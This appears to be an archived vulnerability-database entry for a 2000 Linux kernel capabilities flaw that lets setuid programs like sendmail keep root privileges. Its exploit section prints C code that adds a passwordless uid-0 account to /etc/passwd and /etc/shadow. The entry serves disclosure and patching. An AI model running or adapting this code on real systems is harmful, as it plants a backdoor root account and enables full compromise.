Linux Capabilities Vulnerability
BID:1322
Info
Linux Capabilities Vulnerability
| Bugtraq ID: | 1322 |
| Class: | Design Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Jun 07 2000 12:00AM |
| Updated: | Jun 07 2000 12:00AM |
| Credit: | Discovered by Wojciech Purczynski <[email protected]> and reported to Bugtraq by the Sendmail Security Team <[email protected]>. More information posted to Bugtraq by Gerrie <[email protected]> on June 7, 2000. Followup posted to Bugtraq by |
| Vulnerable: |
SGI ProPack 1.3 SGI ProPack 1.2 Linux kernel 2.4 .0-test1 Linux kernel 2.2.15 pre20 Linux kernel 2.2.15 pre16 Linux kernel 2.2.15 Linux kernel 2.2.13 Linux kernel 2.2.12 Cobalt RaQ 3.0 Cobalt RaQ 2.0 |
| Not Vulnerable: |
SGI ProPack 1.4 Linux kernel 2.2.16 pre6 Linux kernel 2.0 |
Discussion
Linux Capabilities Vulnerability
POSIX "Capabilities" have recently been implemented in the Linux kernel. These "Capabilities" are an additional form of privilege control to enable more specific control over what priviliged processes can do. Capabilities are implemented as three (fairly large) bitfields, which each bit representing a specific action a privileged process can perform. By setting specific bits, the actions of priviliged processes can be controlled -- access can be granted for various functions only to the specific parts of a program that require them. It is a security measure. The problem is that capabilities are copied with fork() execs, meaning that if capabilities are modified by a parent process, they can be carried over. The way that this can be exploited is by setting all of the capabilities to zero (meaning, all of the bits are off) in each of the three bitfields and then executing a setuid program that attempts to drop priviliges before executing code that could be dangerous if run as root, such as what sendmail does. When sendmail attempts to drop priviliges using setuid(getuid()), it fails not having the capabilities required to do so in its bitfields. It continues executing with superuser priviliges, and can run a users .forward file as root leading to a complete compromise. Procmail can also be exploited in this manner.
POSIX "Capabilities" have recently been implemented in the Linux kernel. These "Capabilities" are an additional form of privilege control to enable more specific control over what priviliged processes can do. Capabilities are implemented as three (fairly large) bitfields, which each bit representing a specific action a privileged process can perform. By setting specific bits, the actions of priviliged processes can be controlled -- access can be granted for various functions only to the specific parts of a program that require them. It is a security measure. The problem is that capabilities are copied with fork() execs, meaning that if capabilities are modified by a parent process, they can be carried over. The way that this can be exploited is by setting all of the capabilities to zero (meaning, all of the bits are off) in each of the three bitfields and then executing a setuid program that attempts to drop priviliges before executing code that could be dangerous if run as root, such as what sendmail does. When sendmail attempts to drop priviliges using setuid(getuid()), it fails not having the capabilities required to do so in its bitfields. It continues executing with superuser priviliges, and can run a users .forward file as root leading to a complete compromise. Procmail can also be exploited in this manner.
Exploit / POC
Linux Capabilities Vulnerability
This patch (for the component add.c included in "linux-cap-exp.txt") was posted to BugTraq on June 8, 2000 by "Mark K. Pettit" <[email protected]> and fixes a couple of minor problems with that exploit. It fixes a missing \n and makes the exploit work on systems with the shadow file set to mode 400.
--- add.c.orig Thu Jun 8 11:32:33 2000
+++ add.c Thu Jun 8 11:21:15 2000
@@ -1,17 +1,24 @@
#include <fcntl.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <unistd.h>
int main (void) {
int fd;
char string[40];
+ struct stat buf;
seteuid(0);
fd = open("/etc/passwd", O_APPEND|O_WRONLY);
strcpy(string, "yomama:x:0:0::/root:/bin/sh\n");
write(fd, string, strlen(string));
close(fd);
+ stat("/etc/shadow", &buf);
+ chmod("/etc/shadow", S_IRUSR|S_IWUSR);
fd = open("/etc/shadow", O_APPEND|O_WRONLY);
- strcpy(string, "yomama::11029:0:99999:7:::");
+ strcpy(string, "yomama::11029:0:99999:7:::\n");
write(fd, string, strlen(string));
close(fd);
-
+ chmod("/etc/shadow", buf.st_mode);
}
This patch (for the component add.c included in "linux-cap-exp.txt") was posted to BugTraq on June 8, 2000 by "Mark K. Pettit" <[email protected]> and fixes a couple of minor problems with that exploit. It fixes a missing \n and makes the exploit work on systems with the shadow file set to mode 400.
--- add.c.orig Thu Jun 8 11:32:33 2000
+++ add.c Thu Jun 8 11:21:15 2000
@@ -1,17 +1,24 @@
#include <fcntl.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <unistd.h>
int main (void) {
int fd;
char string[40];
+ struct stat buf;
seteuid(0);
fd = open("/etc/passwd", O_APPEND|O_WRONLY);
strcpy(string, "yomama:x:0:0::/root:/bin/sh\n");
write(fd, string, strlen(string));
close(fd);
+ stat("/etc/shadow", &buf);
+ chmod("/etc/shadow", S_IRUSR|S_IWUSR);
fd = open("/etc/shadow", O_APPEND|O_WRONLY);
- strcpy(string, "yomama::11029:0:99999:7:::");
+ strcpy(string, "yomama::11029:0:99999:7:::\n");
write(fd, string, strlen(string));
close(fd);
-
+ chmod("/etc/shadow", buf.st_mode);
}
Solution / Fix
Linux Capabilities Vulnerability
Solution:
Upgrade to Linux kernel version 2.2.16pre6 which is patched.
Fixed packages for various linux distributions are available in the advisories linked to in the reference section of this vuldb entry.
Solution:
Upgrade to Linux kernel version 2.2.16pre6 which is patched.
Fixed packages for various linux distributions are available in the advisories linked to in the reference section of this vuldb entry.
References
Linux Capabilities Vulnerability
References:
References: